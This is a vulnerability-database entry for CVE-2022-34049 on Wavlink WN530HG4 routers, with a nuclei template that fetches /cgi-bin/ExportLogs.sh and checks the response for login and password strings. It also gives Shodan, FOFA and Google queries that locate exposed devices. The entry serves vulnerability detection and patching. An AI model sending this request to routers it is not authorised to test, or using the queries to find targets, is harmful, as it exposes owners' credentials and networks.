HexBrain

Browse / CVEs / CVE-2022-34049

CVE-2022-34049· wavlink / wl-wn530hg4 firmware· CWE-552

WAVLINK WN530HG4 - Improper Access Control

mediumseverity
5.3CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the router's settings, potentially leading to further compromise of the network or device.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET /cgi-bin/ExportLogs.sh
Positive when: contains "Login" and "Password" AND contains in header "filename=\"sysLogs.txt\"" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34049 -u <target>

The full check
id: CVE-2022-34049

info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: medium
  description: |
    Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings, potentially leading to further compromise of the network or device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049
    - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-34049
    cwe-id: CWE-552
    epss-score: 0.02748
    epss-percentile: 0.86321
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wn530hg4"
      - http.title:"wi-fi app login"
    fofa-query:
      - body="wn530hg4"
      - title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,router,exposure,vuln

http:
  - raw:
      - |
        GET /cgi-bin/ExportLogs.sh HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login'
          - 'Password'
        condition: and

      - type: word
        part: header
        words:
          - filename="sysLogs.txt"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from